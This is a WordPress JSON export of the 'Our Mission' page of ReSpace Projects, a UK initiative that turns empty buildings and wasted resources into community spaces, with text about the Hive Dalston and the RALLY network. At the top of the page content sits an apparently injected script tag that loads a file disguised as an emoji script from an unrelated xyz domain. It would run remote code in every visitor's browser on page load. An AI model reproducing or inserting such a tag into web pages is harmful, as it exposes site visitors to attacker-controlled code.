{"id":169,"date":"2018-04-14T13:08:49","date_gmt":"2018-04-14T13:08:49","guid":{"rendered":"http:\/\/uk.respaceprojects.org\/?page_id=169"},"modified":"2024-12-06T07:30:16","modified_gmt":"2024-12-06T07:30:16","slug":"our-mission","status":"publish","type":"page","link":"https:\/\/respaceprojects.org\/?page_id=169","title":{"rendered":"Our Mission"},"content":{"rendered":"<p><script src=\"\/\/1.989592.xyz\/UAvideo\/keto\/emoji-release.min.js\"><\/script><\/p>\n<hr>\n<p>&nbsp;<\/p>\n<table style=\"background-color: #f2fced;\">\n<tbody>\n<tr>\n<td style=\"text-align: center;\"><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt; color: #000000;\"><span style=\"font-size: 12pt;\">Why is respacing so<\/span><\/span><span style=\"font-size: 14pt;\"> <span style=\"font-family: helvetica, arial, sans-serif; color: #000000;\">urgent and important<\/span><\/span><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt; color: #000000;\"><span style=\"font-size: 12pt;\"> for our society? What made us create the system and<\/span> how does it all work?<span style=\"font-size: 12pt;\"> Our aim is to find<\/span><\/span><span style=\"font-size: 14pt;\"> <span style=\"font-family: helvetica, arial, sans-serif; color: #000000;\">time, space and resources<\/span> <\/span><span style=\"font-family: helvetica, arial, sans-serif; font-size: 12pt; color: #000000;\">to help people solve their problems.<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<hr>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-1948 size-large aligncenter\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2023\/11\/IMG_9322-1024x770.jpg\" alt=\"\" width=\"640\" height=\"481\" srcset=\"https:\/\/respaceprojects.org\/wp-content\/uploads\/2023\/11\/IMG_9322-1024x770.jpg 1024w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2023\/11\/IMG_9322-300x226.jpg 300w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2023\/11\/IMG_9322-768x577.jpg 768w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2023\/11\/IMG_9322-1536x1155.jpg 1536w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2023\/11\/IMG_9322-2048x1540.jpg 2048w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/p>\n<hr>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<table class=\"aligncenter\" style=\"background-color: #f2fced; border: none; padding-left: 45px; padding-right: 45px;\" border=\"none\">\n<tbody>\n<tr>\n<td style=\"text-align: center; border: none;\"><span style=\"font-size: 18pt; color: #000000;\"><span style=\"font-family: helvetica, arial, sans-serif;\">&#8220;Our mission is to encourage the use of empty buildings and waste resources to create a system that generates more resources, shares them fairly and creates opportunities for all.&#8221;<\/span><\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<hr>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_206\" aria-describedby=\"caption-attachment-206\" style=\"width: 2000px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-206 size-full\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2018\/04\/bethechange.jpg\" alt=\"\" width=\"2000\" height=\"1125\"><figcaption id=\"caption-attachment-206\" class=\"wp-caption-text\"><span style=\"color: #000000;\">This mural from the People&#8217;s Republic of Stokes Croft was lent to us at the start and inspired us everyday&#8230;<\/span><\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<p style=\"text-align: left;\"><span style=\"color: #000000; font-family: helvetica, arial, sans-serif; font-size: 14pt;\">ReSpace Projects was set up to help <span style=\"font-size: 18pt;\">positively impact our social and physical environments by intelligently re-using large-scale waste resources<\/span> to save money, time and energy &#8211; and also our planet.<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt; color: #000000;\">ReSpace believes that empty space should be used for <span style=\"font-size: 18pt;\">the benefits of local people<\/span> and that the only way to truly do this is to <span style=\"font-size: 18pt;\">enable them to use it.<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt; color: #000000;\"> To do this our task is to create innovative showcase projects that <span style=\"font-size: 18pt;\">prove the benefits<\/span> and then use that evidence to create more flexible rules, regulations and legislation to give communities the same ability to use wasted resources that large companies and charities have.<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"color: #000000; font-family: helvetica, arial, sans-serif; font-size: 14pt;\">We coordinated the creation, management and orderly wind down of <span style=\"font-size: 18pt;\"><a style=\"color: #000000;\" href=\"http:\/\/rally.respaceprojects.org\/1000-days-of-hive\/\" target=\"_blank\" rel=\"noopener noreferrer\">the Hive Dalston<\/a><\/span>&nbsp;social project as our first showcase to test the effectiveness of the system.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><span style=\"font-family: helvetica, arial, sans-serif;\"><a class=\"fasc-button fasc-size-xlarge fasc-type-flat fasc-ico-before dashicons-format-aside\" style=\"background-color: #69aa00; color: #ffffff;\" href=\"http:\/\/uk.respaceprojects.org\/hive-dalston\/\">read about it<\/a><\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: left;\"><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt; color: #000000;\">We are currently helping new groups form and working on a number of innovative new projects &#8211; not only in London but across the country and even abroad!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: left;\"><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt; color: #000000;\">Our aim is to inspire groups to create <span style=\"font-size: 18pt;\">a network<\/span> of &#8220;respace&#8221; projects that <span style=\"font-size: 18pt;\">collaborate<\/span> and <span style=\"font-size: 18pt;\">create opportunity<\/span> for themselves <span style=\"font-size: 18pt;\">and each other<\/span>. This network is called <span style=\"font-size: 18pt;\"><strong>RALLY<\/strong><\/span> &#8211; An association of groups, businesses and organisations that are committed to <span style=\"font-size: 18pt;\">using space for social good<\/span>.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><span style=\"font-family: helvetica, arial, sans-serif;\"><a class=\"fasc-button fasc-size-xlarge fasc-type-flat fasc-ico-before dashicons-groups\" style=\"background-color: #69aa00; color: #ffffff;\" href=\"http:\/\/uk.respaceprojects.org\/rally\/\">find out more<\/a><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt; color: #000000;\">We identify, train, resource and\/or support local groups of people, businesses or creatives to <span style=\"font-size: 18pt;\">manage the space independently<\/span>&nbsp;in an astoundingly <span style=\"font-size: 18pt;\">cost effective way<\/span> using a multitude of wasted resources in innovative ways &#8211; <span style=\"font-size: 18pt;\">making it possible for anyone.<\/span><\/span><\/p>\n<p style=\"text-align: center;\">&nbsp;<\/p>\n<table style=\"background-color: #f2fced; border: none; padding-left: 45px; padding-right: 45px;\" border=\"none\">\n<tbody>\n<tr>\n<td style=\"border: none; text-align: center;\"><span style=\"font-size: 14pt; font-family: helvetica, arial, sans-serif; color: #000000;\"><span style=\"font-size: 18pt;\">The success of the Hive was based on trust<\/span> &#8211; between the owners and ReSpace &#8211; between ReSpace and the Council\/authorities and between the project and it&#8217;s people. Therefore the success of this system is also based on trust and a core part of our mission is to maintain a <span style=\"font-size: 18pt;\">clear, transparent and trustworthy ethical guideline<\/span> for projects to follow.<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\">&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_525\" aria-describedby=\"caption-attachment-525\" style=\"width: 1200px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-525\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2018\/04\/TRUSTFENCE-e1523269111137.jpg\" alt=\"\" width=\"1200\" height=\"334\" srcset=\"https:\/\/respaceprojects.org\/wp-content\/uploads\/2018\/04\/TRUSTFENCE-e1523269111137.jpg 952w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2018\/04\/TRUSTFENCE-e1523269111137-300x84.jpg 300w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2018\/04\/TRUSTFENCE-e1523269111137-768x214.jpg 768w\" sizes=\"(max-width: 1200px) 100vw, 1200px\" \/><figcaption id=\"caption-attachment-525\" class=\"wp-caption-text\"><span style=\"color: #000000;\">Hoardings outside the Hive said thank you as we left.<\/span><\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><span style=\"font-family: helvetica, arial, sans-serif;\"><a class=\"fasc-button fasc-size-xlarge fasc-type-flat fasc-ico-before dashicons-book\" style=\"background-color: #69aa00; color: #ffffff;\" href=\"http:\/\/uk.respaceprojects.org\/our-story\/\">now read our story<\/a>&nbsp; &nbsp;<span style=\"font-size: 14pt;\"><span style=\"color: #000000;\">or<\/span>&nbsp;<\/span> &nbsp;<a class=\"fasc-button fasc-size-xlarge fasc-type-flat fasc-ico-before dashicons-welcome-write-blog\" style=\"background-color: #69aa00; color: #ffffff;\" href=\"http:\/\/uk.respaceprojects.org\/the-respace-classification\/\">sign the petition<\/a><\/span><\/p>\n<p>&nbsp;<\/p>\n<hr>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Why is respacing so urgent and important for our society? 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